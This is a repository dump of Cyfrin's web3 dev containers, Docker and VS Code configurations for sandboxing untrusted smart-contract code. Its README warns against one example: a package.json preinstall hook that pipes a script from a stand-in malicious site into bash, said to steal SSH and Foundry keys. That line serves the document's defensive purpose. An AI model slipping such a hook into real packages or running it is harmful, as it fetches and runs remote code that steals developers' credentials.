├── .gitignore ├── LICENSE ├── README.md ├── foundry ├── mounted │ ├── .devcontainer │ │ ├── Dockerfile │ │ └── devcontainer.json │ └── projects │ │ └── .gitkeep └── unmounted │ └── .devcontainer │ ├── Dockerfile │ └── devcontainer.json ├── img └── dev-container-image.png └── moccasin ├── mounted ├── .devcontainer │ ├── Dockerfile │ └── devcontainer.json └── projects │ └── .gitkeep └── unmounted └── .devcontainer ├── Dockerfile └── devcontainer.json /.gitignore: -------------------------------------------------------------------------------- 1 | # .gitignore 2 | **/projects/* 3 | !**/projects/.gitkeep 4 | .DS_Store -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Copyright 2025 Cyfrin Inc. 2 | 3 | Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the “Software”), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: 4 | 5 | The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. 6 | 7 | THE SOFTWARE IS PROVIDED “AS IS”, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 8 | 9 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | *Important: This repo is a work in progress* 2 | 3 | # Web3 Dev Containers 4 | 5 | A repo to help you run code in a safer manner in the web3 ecosystem. You open up your code in an isolated docker environment so you have a smaller chance of getting hacked. 6 | 7 | *Important: This isn't a fail-safe! There is no 100% secure way to run code you are unfamiliar with. But running code in an isolated environment is at least much better.* 8 | 9 | You can read more about the importance of sandboxing, containers vs VMs, and more in the [Red Guild Blog](https://blog.theredguild.org/where-do-you-run-your-code/). 10 | 11 | ## Table of contents 12 | 13 | - [Web3 Dev Containers](#web3-dev-containers) 14 | - [Table of contents](#table-of-contents) 15 | - [Why are dev containers important?](#why-are-dev-containers-important) 16 | - [Examples of when you'd want to use a dev container](#examples-of-when-youd-want-to-use-a-dev-container) 17 | - [Getting Started](#getting-started) 18 | - [Requirements](#requirements) 19 | - [Optional VSCode Requirements](#optional-vscode-requirements) 20 | - [Installation](#installation) 21 | - [Quickstart - VSCode and Foundry on a new project, unmounted](#quickstart---vscode-and-foundry-on-a-new-project-unmounted) 22 | - [Usage](#usage) 23 | - [VSCode](#vscode) 24 | - [Unmounted](#unmounted) 25 | - [Mounted](#mounted) 26 | - [Using on an existing project](#using-on-an-existing-project) 27 | - [Raw Docker](#raw-docker) 28 | - [Mounted](#mounted-1) 29 | - [Using on an existing project](#using-on-an-existing-project-1) 30 | - [Acknowledgements](#acknowledgements) 31 | - [Security considerations](#security-considerations) 32 | 33 | ## Why are dev containers important? 34 | 35 | So you don't get *rekt*, big dog. 36 | 37 | Imagine you're auditing a suspicious smart contract and it has a `package.json` that includes a malicious preinstall script: 38 | 39 | ```json 40 | { 41 | "name": "suspicious-contract", 42 | "scripts": { 43 | "preinstall": "curl -s http://some-malicious-site.com/steal.sh | bash" 44 | } 45 | } 46 | ``` 47 | 48 | If you run npm install on your host machine, you'll essentially be running a bash script from a random website on your machine! It could do things like: 49 | - The script could steal your private keys from `~/.ssh` 50 | - Steal encrypted keys from `~/.foundry` 51 | - Install malware somewhere in your files 52 | - Literally anything 53 | 54 | But in a dev container: 55 | - The script is isolated to the container environment 56 | - Can't access your host files unless explicitly mounted 57 | - Even if it installs malware, it's confined to the container 58 | - When you're done, you can destroy the container without affecting your host 59 | 60 | The container provides a disposable, isolated environment where you can more safely examine and run suspicious code. 61 | 62 | ## Examples of when you'd want to use a dev container 63 | 64 | - When you're auditing code that you're not sure you trust 65 | - When you get an interview and the interviewer asks you to download and run some code (by the way, this is usually a scam anyways) 66 | - When you're going to download some suspicious packages 67 | - Or really, whenever you work on any project at all so that you isolate your dev environment from your host machine 68 | 69 | # Getting Started 70 | 71 | ## Requirements 72 | 73 | - [Docker](https://docs.docker.com/get-docker/) 74 | - Must have installed on your local OS: `docker` and `docker-buildx`. 75 | - You'll know you have it installed if you can run `docker --version` in your terminal and you get an output like `Docker version xx.x.x, build xxxxxxxx` (`x` are numbers) 76 | 77 | ## Optional VSCode Requirements 78 | 79 | - [VSCode](https://code.visualstudio.com/) 80 | - DevContainer extension by MS: `ms-vscode-remote.remote-containers` 81 | 82 | ### Windows Users 83 | - [WSL](https://learn.microsoft.com/en-us/windows/wsl/install) 84 | 85 | *Windows users should additionally have [this post](https://code.visualstudio.com/blogs/2020/07/01/containers-wsl) for more context* 86 | 87 | ## Installation 88 | 89 | Please see [VSCode](#VSCode) or [Raw Docker](#Raw-Docker) for more detailed instructions. 90 | 91 | ```bash 92 | git clone https://github.com/Cyfrin/web3-dev-containers 93 | cd web3-dev-containers 94 | ``` 95 | 96 | ## Quickstart - VSCode and Foundry on a new project, unmounted 97 | 98 | Please see [VSCode](#VSCode) or [Raw Docker](#Raw-Docker) for more instructions. 99 | 100 | > **Note** 101 | > `unmounted`: This means that all the code we work with will be destroyed once we stop the container. This is the safest way to work with code. There are times when we want to save our code, you can see those instructions in the `mounted` section in the [Usage](#Usage) section. 102 | > If you want to save the changes you make to your code back to your host computer, you can use the `mounted` version of the dev container. 103 | 104 | 1. Open the `foundry/unmounted` folder in VSCode 105 | 106 | After you clone this repo, open the `web3-dev-containers/foundry/unmounted` folder in VS Code. 107 | 108 | ```bash 109 | code ./foundry/unmounted # If you have the `code` terminal command installed 110 | 111 | # Otherwise, you can just do `File` -> `Open Folder` and select the `web3-dev-containers` folder 112 | ``` 113 | 114 | 2. Run `Dev Containers: Reopen in Container` from the command palette 115 | 116 | To get to the command palette, you can use the following shortcuts: 117 | - Windows/Linux: `Ctrl+Shift+P` 118 | - macOS: `Cmd+Shift+P` 119 | 120 | Then type `Dev Containers: Reopen in Container` and select it. 121 | 122 | You should get opened up into a new window that looks like this: 123 | 124 |

125 |
126 | 127 |
128 |

129 | 130 | You should be at `/workspace` folder. 131 | 132 | 3. You can then clone a project into the `projects` folder and start working on it 133 | 134 | ```bash 135 | git clone https://github.com/Cyfrin/foundry-fund-me-cu # Example project 136 | cd foundry-fund-me-cu 137 | forge build 138 | forge test 139 | ``` 140 | 141 | Now, you can start working on the project knowing you're in a safer environment! 142 | 143 | 4. Tear down 144 | 145 | When you're done, you can delete the docker container in your docker dashboard, or run `docker ps` *on your host machine, not inside your dev container* to get the container ID and run `docker stop ` to stop the container. 146 | 147 | To do it via the CLI, back on your host machine run: 148 | 149 | ```bash 150 | docker ps # You'll get an output of different running docker containers 151 | docker stop # Replace with the container ID of the dev container 152 | 153 | # If you're sure you don't want any stopped containers, you can then optionally run: 154 | docker system prune # And then `y` to confirm 155 | # Be sure you actually want to run this 156 | ``` 157 | 158 | This will delete all traces of the code you worked on in that container! 159 | 160 | # Usage 161 | 162 | ## VSCode 163 | 164 | ### Unmounted 165 | 166 | Please see the [Quickstart](#Quickstart---VSCode-and-Foundry-on-a-new-project-unmounted) for a quick guide on how to use this with VSCode on a new project. 167 | 168 | ### Mounted 169 | 170 | If you want to persist your code changes back to your host machine, take these steps instead of what you saw in the quickstart: 171 | 172 | 1. Open the `foundry/mounted` folder in VSCode 173 | 2. Run `Dev Containers: Reopen in Container` from the command palette 174 | 3. Work in the `projects` folder - any changes here will be saved to your host machine 175 | 4. The container will still protect you from malicious scripts, but be careful what you save back to your machine 176 | 177 | > **Note** 178 | > The code will be saved to your host machine's file structure, so just remember to not run anything from that folder before you're sure it's safe! 179 | 180 | ### Using on an existing project 181 | 182 | To use these containers with an existing project: 183 | 184 | 1. Copy the `.devcontainer` folder to your project (mounted or unmounted): 185 | 186 | ```bash 187 | cp -r web3-dev-containers/foundry/MOUNTED_UNMOUNTED/.devcontainer /path/to/your/project/ 188 | ``` 189 | 190 | 2. Open your project's folder in VSCode 191 | 192 | 3. Open in a new dev container 193 | 194 | Run `Dev Containers: Reopen in Container` 195 | 196 | ## Raw Docker 197 | 198 | For users who are not using VSCode. 199 | 200 | ### Mounted 201 | 202 | To run on a mounted volume: 203 | 204 | ```bash 205 | # Build the container 206 | cd foundry/mounted/.devcontainer 207 | docker build -t foundry-dev . 208 | 209 | # Run with your project mounted 210 | docker run -it -v /path/to/your/project:/workspace/projects foundry-dev 211 | ``` 212 | 213 | ### Unmounted 214 | 215 | ```bash 216 | # Build the container 217 | cd foundry/unmounted/.devcontainer 218 | docker build -t foundry-dev-unmounted . 219 | 220 | # Run container with isolated filesystem 221 | docker run -it foundry-dev-unmounted 222 | ``` 223 | 224 | ### Using on an existing project 225 | 226 | 1. Build the container: 227 | 228 | ```bash 229 | cd web3-dev-containers/foundry 230 | docker build -t foundry-dev . 231 | ``` 232 | 233 | 2. Run your project in the container 234 | 235 | ```bash 236 | docker run -it foundry-dev 237 | cd workspace 238 | git clone your-project-url 239 | ``` 240 | 241 | # Docker container security issues to look out for 242 | 243 | Running a docker container is not a panacea! There are a lot of things to consider when working with Docker containers. 244 | 245 | For example: 246 | 247 | Network Access: 248 | - Container has full network access, so they could do things like try to send information about your docker container out 249 | 250 | Mount Points: 251 | - If you're using mounted files, malware can read everything in your files 252 | 253 | Resource Limits: 254 | - No memory/CPU restrictions could mean the malware could try crash your computer 255 | 256 | [Here is a list of more considerations](https://medium.com/@ksaquib/are-your-docker-containers-really-safe-essential-security-tips-you-need-to-know-243dfd11a384) 257 | 258 | # Acknowledgements 259 | - [The Red Guild](https://blog.theredguild.org/where-do-you-run-your-code/) 260 | 261 | # Security considerations 262 | 263 | Using a dev container is not a 100% secure way to run code you are unfamiliar with. It is a safer way to run code, but it is not foolproof. You may still want to be nervous about running code you're unfamiliar with! There are a number of exploits to be aware of, including: 264 | 265 | - Network access: Unless you restrict network access in your docker container, it can still access the internet. This means it can still send data to a remote server. 266 | - Resource constraints: Docker containers can still use up all your CPU and memory if you're not careful. You can also adjust your `Dockerfile` to account for these. 267 | - Docker escape exploits: There can still be ways to escape a docker container and access your host machine. These are rare, but they do exist. 268 | 269 | There are a few things to consider that we've more or less covered for you in this repo, but important to know: 270 | - Never run a docker container with a `root` user, this is why we use the `vscode` user in the `Dockerfile` 271 | - Volume mounting: If you mount a volume from your host machine, the container can access your host machine's files. Be careful what you mount! This is why the default here is `unmounted` 272 | -------------------------------------------------------------------------------- /foundry/mounted/.devcontainer/Dockerfile: -------------------------------------------------------------------------------- 1 | # Base debian build (latest). 2 | FROM mcr.microsoft.com/vscode/devcontainers/base:debian 3 | 4 | # Update packages. 5 | RUN apt-get update 6 | 7 | # Set the default shell to zsh 8 | ENV SHELL=/usr/bin/zsh 9 | 10 | # Running everything under zsh 11 | SHELL ["/usr/bin/zsh", "-c"] 12 | 13 | # Dropping privileges 14 | USER vscode 15 | 16 | # Install rust 17 | RUN curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh -s -- -y && source $HOME/.cargo/env 18 | 19 | # Install uv and add to PATH 20 | # See https://docs.astral.sh/uv/guides/integration/docker/ 21 | COPY --from=ghcr.io/astral-sh/uv:latest /uv /uvx /bin/ 22 | ENV PATH="/home/vscode/.local/bin:$PATH" 23 | 24 | # Add uv to shell configuration 25 | RUN echo 'export PATH="/home/vscode/.cargo/bin:$PATH"' >> ~/.zshrc 26 | 27 | # Install tools using uv 28 | RUN uv tool install solc-select 29 | RUN uv tool install slither-analyzer 30 | RUN uv tool install crytic-compile 31 | 32 | # Foundry framework 33 | RUN curl -L https://foundry.paradigm.xyz | zsh 34 | RUN foundryup 35 | 36 | # Aderyn 37 | RUN curl -L https://raw.githubusercontent.com/Cyfrin/up/main/install | zsh 38 | RUN cyfrinup 39 | 40 | # Clean up 41 | RUN sudo apt-get autoremove -y && sudo apt-get clean -y -------------------------------------------------------------------------------- /foundry/mounted/.devcontainer/devcontainer.json: -------------------------------------------------------------------------------- 1 | { 2 | // Inspired by https://blog.theredguild.org/where-do-you-run-your-code/ 3 | // For format details, see https://aka.ms/devcontainer.json. 4 | "name": "Cyfrin's Solidity & Foundry DevContainer", 5 | // You can use image or directly use a Dockerfile or Docker Compose file. 6 | // More info: https://containers.dev/guide/dockerfile 7 | // https://github.com/devcontainers/images/tree/main/src/base-alpine 8 | // "image": "mcr.microsoft.com/devcontainers/base:debian", 9 | "build": { 10 | "dockerfile": "Dockerfile" 11 | }, 12 | // Features to add to the dev container. More info: https://containers.dev/features. 13 | "features": {}, 14 | // Configure tool-specific properties. 15 | "customizations": { 16 | // Configure properties specific to VS Code. 17 | "vscode": { 18 | "extensions": [ 19 | "NomicFoundation.hardhat-solidity", 20 | "tintinweb.solidity-visual-auditor", 21 | "trailofbits.weaudit", 22 | "tintinweb.solidity-metrics" 23 | ], 24 | "settings": { 25 | "terminal.integrated.defaultProfile.linux": "zsh", 26 | "terminal.integrated.profiles.linux": { 27 | "zsh": { 28 | "path": "/usr/bin/zsh" 29 | } 30 | } 31 | } 32 | } 33 | }, 34 | // Use 'forwardPorts' to make a list of ports inside the container available locally. 35 | // "forwardPorts": [3000], 36 | // Use 'portsAttributes' to set default properties for specific forwarded ports. 37 | // More info: https://containers.dev/implementors/json_reference/#port-attributes 38 | // "portsAttributes": { 39 | // "3000": { 40 | // "label": "Hello Remote World", 41 | // "onAutoForward": "notify" 42 | // } 43 | // }, 44 | // Use 'postCreateCommand' to run commands after the container is created. 45 | // We're using a gist, but you can also reference the raw install-tool from your repo. 46 | // Unless you mount the scripts folder as 47 | "postCreateCommand": "echo Welcome to Cyfrin's dev-container. If you'd like to build your own, you can check out an article The Red Guild have created for you at their blog under https://blog.theredguild.org/where-do-you-run-your-code" 48 | // Uncomment to connect as root instead. More info: https://aka.ms/dev-containers-non-root. 49 | // "remoteUser": "root" 50 | } -------------------------------------------------------------------------------- /foundry/mounted/projects/.gitkeep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Cyfrin/web3-dev-containers/4b700c40e5630575765cb6208be3de87ddc6d315/foundry/mounted/projects/.gitkeep -------------------------------------------------------------------------------- /foundry/unmounted/.devcontainer/Dockerfile: -------------------------------------------------------------------------------- 1 | # Base debian build (latest). 2 | FROM mcr.microsoft.com/vscode/devcontainers/base:debian 3 | 4 | # Update packages. 5 | RUN apt-get update 6 | 7 | # Set the default shell to zsh 8 | ENV SHELL=/usr/bin/zsh 9 | 10 | # Running everything under zsh 11 | SHELL ["/usr/bin/zsh", "-c"] 12 | 13 | # Dropping privileges 14 | USER vscode 15 | 16 | # Install rust 17 | RUN curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh -s -- -y && source $HOME/.cargo/env 18 | 19 | # Install uv and add to PATH 20 | # See https://docs.astral.sh/uv/guides/integration/docker/ 21 | COPY --from=ghcr.io/astral-sh/uv:latest /uv /uvx /bin/ 22 | ENV PATH="/home/vscode/.local/bin:$PATH" 23 | 24 | # Add uv to shell configuration 25 | RUN echo 'export PATH="/home/vscode/.cargo/bin:$PATH"' >> ~/.zshrc 26 | 27 | # Install tools using uv 28 | RUN uv tool install solc-select 29 | RUN uv tool install slither-analyzer 30 | RUN uv tool install crytic-compile 31 | 32 | # Foundry framework 33 | RUN curl -L https://foundry.paradigm.xyz | zsh 34 | RUN foundryup 35 | 36 | # Aderyn 37 | RUN curl -L https://raw.githubusercontent.com/Cyfrin/up/main/install | zsh 38 | RUN cyfrinup 39 | 40 | # Clean up 41 | RUN sudo apt-get autoremove -y && sudo apt-get clean -y -------------------------------------------------------------------------------- /foundry/unmounted/.devcontainer/devcontainer.json: -------------------------------------------------------------------------------- 1 | { 2 | // Inspired by https://blog.theredguild.org/where-do-you-run-your-code/ 3 | // For format details, see https://aka.ms/devcontainer.json. 4 | "name": "Cyfrin's Solidity & Foundry DevContainer", 5 | // You can use image or directly use a Dockerfile or Docker Compose file. 6 | // More info: https://containers.dev/guide/dockerfile 7 | // https://github.com/devcontainers/images/tree/main/src/base-alpine 8 | // "image": "mcr.microsoft.com/devcontainers/base:debian", 9 | "build": { 10 | "dockerfile": "Dockerfile" 11 | }, 12 | "workspaceMount": "type=tmpfs,target=/workspace", 13 | "workspaceFolder": "/workspace", 14 | // Features to add to the dev container. More info: https://containers.dev/features. 15 | "features": {}, 16 | // Configure tool-specific properties. 17 | "customizations": { 18 | // Configure properties specific to VS Code. 19 | "vscode": { 20 | "extensions": [ 21 | "NomicFoundation.hardhat-solidity", 22 | "tintinweb.solidity-visual-auditor", 23 | "trailofbits.weaudit", 24 | "tintinweb.solidity-metrics" 25 | ], 26 | "settings": { 27 | "terminal.integrated.defaultProfile.linux": "zsh", 28 | "terminal.integrated.profiles.linux": { 29 | "zsh": { 30 | "path": "/usr/bin/zsh" 31 | } 32 | } 33 | } 34 | } 35 | }, 36 | // Use 'forwardPorts' to make a list of ports inside the container available locally. 37 | // "forwardPorts": [3000], 38 | // Use 'portsAttributes' to set default properties for specific forwarded ports. 39 | // More info: https://containers.dev/implementors/json_reference/#port-attributes 40 | // "portsAttributes": { 41 | // "3000": { 42 | // "label": "Hello Remote World", 43 | // "onAutoForward": "notify" 44 | // } 45 | // }, 46 | // Use 'postCreateCommand' to run commands after the container is created. 47 | // We're using a gist, but you can also reference the raw install-tool from your repo. 48 | // Unless you mount the scripts folder as 49 | "postCreateCommand": "echo Welcome to Cyfrin's dev-container. If you'd like to build your own, you can check out an article The Red Guild have created for you at their blog under https://blog.theredguild.org/where-do-you-run-your-code" 50 | // Uncomment to connect as root instead. More info: https://aka.ms/dev-containers-non-root. 51 | // "remoteUser": "root" 52 | } -------------------------------------------------------------------------------- /img/dev-container-image.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Cyfrin/web3-dev-containers/4b700c40e5630575765cb6208be3de87ddc6d315/img/dev-container-image.png -------------------------------------------------------------------------------- /moccasin/mounted/.devcontainer/Dockerfile: -------------------------------------------------------------------------------- 1 | # Base debian build (latest). 2 | FROM mcr.microsoft.com/vscode/devcontainers/base:debian 3 | 4 | # Update packages. 5 | RUN apt-get update 6 | 7 | # Set the default shell to zsh 8 | ENV SHELL=/usr/bin/zsh 9 | 10 | # Running everything under zsh 11 | SHELL ["/usr/bin/zsh", "-c"] 12 | 13 | # Dropping privileges 14 | USER vscode 15 | 16 | # Install rust 17 | RUN curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh -s -- -y && source $HOME/.cargo/env 18 | 19 | # Install uv and add to PATH 20 | # See https://docs.astral.sh/uv/guides/integration/docker/ 21 | COPY --from=ghcr.io/astral-sh/uv:latest /uv /uvx /bin/ 22 | ENV PATH="/home/vscode/.local/bin:$PATH" 23 | 24 | # Add uv to shell configuration 25 | RUN echo 'export PATH="/home/vscode/.cargo/bin:$PATH"' >> ~/.zshrc 26 | 27 | # Install tools using uv 28 | RUN uv tool install moccasin 29 | RUN uv tool install vyper 30 | 31 | # Clean up 32 | RUN sudo apt-get autoremove -y && sudo apt-get clean -y -------------------------------------------------------------------------------- /moccasin/mounted/.devcontainer/devcontainer.json: -------------------------------------------------------------------------------- 1 | { 2 | // Inspired by https://blog.theredguild.org/where-do-you-run-your-code/ 3 | // For format details, see https://aka.ms/devcontainer.json. 4 | "name": "Cyfrin's Vyper & Moccasin DevContainer", 5 | // You can use image or directly use a Dockerfile or Docker Compose file. 6 | // More info: https://containers.dev/guide/dockerfile 7 | // https://github.com/devcontainers/images/tree/main/src/base-alpine 8 | // "image": "mcr.microsoft.com/devcontainers/base:debian", 9 | "build": { 10 | "dockerfile": "Dockerfile" 11 | }, 12 | // Features to add to the dev container. More info: https://containers.dev/features. 13 | "features": {}, 14 | // Configure tool-specific properties. 15 | "customizations": { 16 | // Configure properties specific to VS Code. 17 | "vscode": { 18 | "extensions": [ 19 | "tintinweb.vscode-vyper", 20 | "trailofbits.weaudit", 21 | "ms-python.python" 22 | ], 23 | "settings": { 24 | "terminal.integrated.defaultProfile.linux": "zsh", 25 | "terminal.integrated.profiles.linux": { 26 | "zsh": { 27 | "path": "/usr/bin/zsh" 28 | } 29 | } 30 | } 31 | } 32 | }, 33 | // Use 'forwardPorts' to make a list of ports inside the container available locally. 34 | // "forwardPorts": [3000], 35 | // Use 'portsAttributes' to set default properties for specific forwarded ports. 36 | // More info: https://containers.dev/implementors/json_reference/#port-attributes 37 | // "portsAttributes": { 38 | // "3000": { 39 | // "label": "Hello Remote World", 40 | // "onAutoForward": "notify" 41 | // } 42 | // }, 43 | // Use 'postCreateCommand' to run commands after the container is created. 44 | // We're using a gist, but you can also reference the raw install-tool from your repo. 45 | // Unless you mount the scripts folder as 46 | "postCreateCommand": "echo Welcome to Cyfrin's dev-container. If you'd like to build your own, you can check out an article The Red Guild have created for you at their blog under https://blog.theredguild.org/where-do-you-run-your-code" 47 | // Uncomment to connect as root instead. More info: https://aka.ms/dev-containers-non-root. 48 | // "remoteUser": "root" 49 | } -------------------------------------------------------------------------------- /moccasin/mounted/projects/.gitkeep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Cyfrin/web3-dev-containers/4b700c40e5630575765cb6208be3de87ddc6d315/moccasin/mounted/projects/.gitkeep -------------------------------------------------------------------------------- /moccasin/unmounted/.devcontainer/Dockerfile: -------------------------------------------------------------------------------- 1 | # Base debian build (latest). 2 | FROM mcr.microsoft.com/vscode/devcontainers/base:debian 3 | 4 | # Update packages. 5 | RUN apt-get update 6 | 7 | # Set the default shell to zsh 8 | ENV SHELL=/usr/bin/zsh 9 | 10 | # Running everything under zsh 11 | SHELL ["/usr/bin/zsh", "-c"] 12 | 13 | # Dropping privileges 14 | USER vscode 15 | 16 | # Install rust 17 | RUN curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh -s -- -y && source $HOME/.cargo/env 18 | 19 | # Install uv and add to PATH 20 | # See https://docs.astral.sh/uv/guides/integration/docker/ 21 | COPY --from=ghcr.io/astral-sh/uv:latest /uv /uvx /bin/ 22 | ENV PATH="/home/vscode/.local/bin:$PATH" 23 | 24 | # Add uv to shell configuration 25 | RUN echo 'export PATH="/home/vscode/.cargo/bin:$PATH"' >> ~/.zshrc 26 | 27 | # Install tools using uv 28 | RUN uv tool install moccasin 29 | RUN uv tool install vyper 30 | 31 | # Clean up 32 | RUN sudo apt-get autoremove -y && sudo apt-get clean -y -------------------------------------------------------------------------------- /moccasin/unmounted/.devcontainer/devcontainer.json: -------------------------------------------------------------------------------- 1 | { 2 | // Inspired by https://blog.theredguild.org/where-do-you-run-your-code/ 3 | // For format details, see https://aka.ms/devcontainer.json. 4 | "name": "Cyfrin's Vyper & Moccasin DevContainer", 5 | // You can use image or directly use a Dockerfile or Docker Compose file. 6 | // More info: https://containers.dev/guide/dockerfile 7 | // https://github.com/devcontainers/images/tree/main/src/base-alpine 8 | // "image": "mcr.microsoft.com/devcontainers/base:debian", 9 | "build": { 10 | "dockerfile": "Dockerfile" 11 | }, 12 | "workspaceMount": "type=tmpfs,target=/workspace", 13 | "workspaceFolder": "/workspace", 14 | // Features to add to the dev container. More info: https://containers.dev/features. 15 | "features": {}, 16 | // Configure tool-specific properties. 17 | "customizations": { 18 | // Configure properties specific to VS Code. 19 | "vscode": { 20 | "extensions": [ 21 | "tintinweb.vscode-vyper", 22 | "trailofbits.weaudit", 23 | "ms-python.python" 24 | ], 25 | "settings": { 26 | "terminal.integrated.defaultProfile.linux": "zsh", 27 | "terminal.integrated.profiles.linux": { 28 | "zsh": { 29 | "path": "/usr/bin/zsh" 30 | } 31 | } 32 | } 33 | } 34 | }, 35 | // Use 'forwardPorts' to make a list of ports inside the container available locally. 36 | // "forwardPorts": [3000], 37 | // Use 'portsAttributes' to set default properties for specific forwarded ports. 38 | // More info: https://containers.dev/implementors/json_reference/#port-attributes 39 | // "portsAttributes": { 40 | // "3000": { 41 | // "label": "Hello Remote World", 42 | // "onAutoForward": "notify" 43 | // } 44 | // }, 45 | // Use 'postCreateCommand' to run commands after the container is created. 46 | // We're using a gist, but you can also reference the raw install-tool from your repo. 47 | // Unless you mount the scripts folder as 48 | "postCreateCommand": "echo Welcome to Cyfrin's dev-container. If you'd like to build your own, you can check out an article The Red Guild have created for you at their blog under https://blog.theredguild.org/where-do-you-run-your-code" 49 | // Uncomment to connect as root instead. More info: https://aka.ms/dev-containers-non-root. 50 | // "remoteUser": "root" 51 | } --------------------------------------------------------------------------------